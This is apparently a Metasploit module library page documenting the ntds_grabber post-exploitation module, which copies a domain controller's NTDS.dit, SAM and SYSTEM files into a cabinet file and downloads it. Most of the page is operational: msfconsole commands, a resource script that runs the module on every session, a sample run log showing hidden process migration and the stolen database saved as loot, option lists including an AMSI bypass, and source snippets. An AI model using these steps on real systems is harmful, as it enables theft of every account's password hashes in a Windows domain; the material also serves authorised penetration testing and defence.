NTDS Grabber - Metasploit
This page contains detailed information about how to use the post/windows/gather/ntds_grabber metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: NTDS Grabber
Module: post/windows/gather/ntds_grabber
Source code: modules/post/windows/gather/ntds_grabber.rb
Disclosure date: -
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller. It compresses all these files in a cabinet file called All.cab.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/gather/ntds_grabber
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/gather/ntds_grabber
msf post(ntds_grabber) > show options
... show and set options ...
msf post(ntds_grabber) > set SESSION session-id
msf post(ntds_grabber) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/gather/ntds_grabber")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Creating A Testing Environment
To use this module you need an meterpreter on a domain controller. The meterpreter has to have SYSTEM priviliges. Powershell has te be installed.
This module has been tested against:
- Windows Server 2008r2
This module was not tested against, but may work against:
- Other versions of Windows server.
Verification Steps
- Start msfconsole
- Obtain a meterpreter session with a meterpreter via whatever method.
- Ensure the metepreter has SYSTEM priviliges.
- Ensure powershell is installed.
- Do: 'use post/windows/gather/ntds_grabber '
- Do: 'set session #'
- Do: 'run'
Scenarios
Windows Server 2008r2 with an x86 meterpreter
msf exploit(psexec) > use post/windows/gather/ntds_grabber
msf post(ntds_grabber) > set session #
session => #
msf post(ntds_grabber) > run
[+] [2017.04.05-12:26:49] Running as SYSTEM
[+] [2017.04.05-12:26:50] Running on a domain controller
[+] [2017.04.05-12:26:50] PowerShell is installed.
[-] [2017.04.05-12:26:50] The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!
[*] [2017.04.05-12:26:50] Starting new x64 process C:\windows\sysnative\svchost.exe
[+] [2017.04.05-12:26:51] Got pid 3088
[*] [2017.04.05-12:26:51] Migrating..
[+] [2017.04.05-12:26:56] Success!
[*] [2017.04.05-12:26:56] Powershell Script executed
[*] [2017.04.05-12:26:59] Creating All.cab
[*] [2017.04.05-12:27:01] Waiting for All.cab
[*] [2017.04.05-12:27:02] Waiting for All.cab
[+] [2017.04.05-12:27:02] All.cab should be created in the current working directory
[*] [2017.04.05-12:27:05] Downloading All.cab
[+] [2017.04.05-12:27:15] All.cab saved in: /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab
[*] [2017.04.05-12:27:15] Removing All.cab
[+] [2017.04.05-12:27:15] All.cab Removed
[*] Post module execution completed
msf post(ntds_grabber) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
10.100.0.2 Cabinet File All.cab application/cab Cabinet file containing SAM, SYSTEM and NTDS.dit /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab
Go back to menu.
Msfconsole Usage
Here is how the windows/gather/ntds_grabber post exploitation module looks in the msfconsole:
msf6 > use post/windows/gather/ntds_grabber
msf6 post(windows/gather/ntds_grabber) > show info
Name: NTDS Grabber
Module: post/windows/gather/ntds_grabber
Platform: Windows
Arch: x86, x64
Rank: Normal
Provided by:
Koen Riepe (koen.riepe <Koen Riepe ([email protected])>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CLEANUP true yes Remove the All.cab file at the end of module execution
DOWNLOAD true yes Immediately download the All.cab file
SESSION yes The session to run this module on.
Description:
This module uses a powershell script to obtain a copy of the
ntds,dit SAM and SYSTEM files on a domain controller. It compresses
all these files in a cabinet file called All.cab.
Module Options
This is a complete list of options available in the windows/gather/ntds_grabber post exploitation module:
msf6 post(windows/gather/ntds_grabber) > show options
Module options (post/windows/gather/ntds_grabber):
Name Current Setting Required Description
---- --------------- -------- -----------
CLEANUP true yes Remove the All.cab file at the end of module execution
DOWNLOAD true yes Immediately download the All.cab file
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the windows/gather/ntds_grabber post exploitation module:
msf6 post(windows/gather/ntds_grabber) > show advanced
Module advanced options (post/windows/gather/ntds_grabber):
Name Current Setting Required Description
---- --------------- -------- -----------
Powershell::Post::dry_run false yes Return encoded output to caller
Powershell::Post::force_wow64 false yes Force WOW64 execution
Powershell::Post::log_output false yes Write output to log file
Powershell::Post::timeout 15 yes Powershell execution timeout, set < 0 to run async without termination
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/gather/ntds_grabber module can do:
msf6 post(windows/gather/ntds_grabber) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/gather/ntds_grabber post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/gather/ntds_grabber) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Not running as SYSTEM, you need to be system to run this module! STOPPING
- Not running on a domain controller, you need run this module on a domain controller! STOPPING
- PowerShell is not installed! STOPPING
- The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!
- Migration failed!
- Problem with removing All.cab. Manually check if it's still there.
- All.cab was not removed
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Not running as SYSTEM, you need to be system to run this module! STOPPING
Here is a relevant code snippet related to the "Not running as SYSTEM, you need to be system to run this module! STOPPING" error message:
90: cleanupflag = datastore['CLEANUP']
91:
92: if is_system?
93: print_good('Running as SYSTEM')
94: else
95: print_error('Not running as SYSTEM, you need to be system to run this module! STOPPING')
96: return
97: end
98:
99: if not dc_check
100: print_error('Not running on a domain controller, you need run this module on a domain controller! STOPPING')
Not running on a domain controller, you need run this module on a domain controller! STOPPING
Here is a relevant code snippet related to the "Not running on a domain controller, you need run this module on a domain controller! STOPPING" error message:
95: print_error('Not running as SYSTEM, you need to be system to run this module! STOPPING')
96: return
97: end
98:
99: if not dc_check
100: print_error('Not running on a domain controller, you need run this module on a domain controller! STOPPING')
101: return
102: else
103: print_good('Running on a domain controller')
104: end
105:
PowerShell is not installed! STOPPING
Here is a relevant code snippet related to the "PowerShell is not installed! STOPPING" error message:
104: end
105:
106: if have_powershell?
107: print_good('PowerShell is installed.')
108: else
109: print_error('PowerShell is not installed! STOPPING')
110: return
111: end
112:
113: if check_32_on_64
114: print_error('The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!')
The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!
Here is a relevant code snippet related to the "The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!" error message:
109: print_error('PowerShell is not installed! STOPPING')
110: return
111: end
112:
113: if check_32_on_64
114: print_error('The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!')
115: windir = get_windows_loc
116: newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
117: if exist?(newproc)
118: print_status("Starting new x64 process #{newproc}")
119: pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
Migration failed!
Here is a relevant code snippet related to the "Migration failed!" error message:
121: print_status('Migrating..')
122: session.core.migrate(pid)
123: if pid == session.sys.process.getpid
124: print_good('Success!')
125: else
126: print_error('Migration failed!')
127: end
128: end
129: else
130: print_good('The meterpreter is the same architecture as the OS!')
131: end
Problem with removing All.cab. Manually check if it's still there.
Here is a relevant code snippet related to the "Problem with removing All.cab. Manually check if it's still there." error message:
163: if cleanupflag
164: print_status('Removing All.cab')
165: begin
166: file_rm('All.cab')
167: rescue
168: print_error('Problem with removing All.cab. Manually check if it\'s still there.')
169: end
170: if not file_exist?("All.cab")
171: print_good('All.cab Removed')
172: else
173: print_error('All.cab was not removed')
All.cab was not removed
Here is a relevant code snippet related to the "All.cab was not removed" error message:
167: rescue
168: print_error('Problem with removing All.cab. Manually check if it\'s still there.')
169: end
170: if not file_exist?("All.cab")
171: print_good('All.cab Removed')
172: else
173: print_error('All.cab was not removed')
174: end
175: end
176: end
177: end
Go back to menu.
Related Pull Requests
- #15463 Merged Pull Request: Reformats modules so they're compatible with Rubocop Rule
- #15079 Merged Pull Request: Add Meterpreter command compatibility requirements
- #10207 Merged Pull Request: Module msftidy fixes
- #8007 Merged Pull Request: Added NTDSgrab module to metasploit.
Go back to menu.
See Also
Check also the following modules related to this module:
- post/windows/gather/ad_to_sqlite
- post/windows/gather/arp_scanner
- post/windows/gather/avast_memory_dump
- post/windows/gather/bitcoin_jacker
- post/windows/gather/bitlocker_fvek
- post/windows/gather/bloodhound
- post/windows/gather/cachedump
- post/windows/gather/checkvm
- post/windows/gather/dnscache_dump
- post/windows/gather/dumplinks
- post/windows/gather/enum_ad_bitlocker
- post/windows/gather/enum_ad_computers
- post/windows/gather/enum_ad_groups
- post/windows/gather/enum_ad_managedby_groups
- post/windows/gather/enum_ad_service_principal_names
- post/windows/gather/enum_ad_to_wordlist
- post/windows/gather/enum_ad_user_comments
- post/windows/gather/enum_ad_users
- post/windows/gather/enum_applications
- post/windows/gather/enum_artifacts
- post/windows/gather/exchange
- post/windows/gather/file_from_raw_ntfs
- post/windows/gather/get_bookmarks
- post/windows/gather/hashdump
- post/windows/gather/local_admin_search_enum
- post/windows/gather/lsa_secrets
- post/windows/gather/make_csv_orgchart
- post/windows/gather/memory_dump
- post/windows/gather/memory_grep
- post/windows/gather/netlm_downgrade
- post/windows/gather/ntds_location
- post/windows/gather/outlook
- post/windows/gather/phish_windows_credentials
- post/windows/gather/psreadline_history
- post/windows/gather/resolve_sid
- post/windows/gather/reverse_lookup
- post/windows/gather/screen_spy
- post/windows/gather/smart_hashdump
- post/windows/gather/tcpnetstat
- post/windows/gather/usb_history
- post/windows/gather/win_privs
- post/windows/gather/wmic_command
- post/windows/gather/word_unc_injector
Authors
- Koen Riepe ([email protected])
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.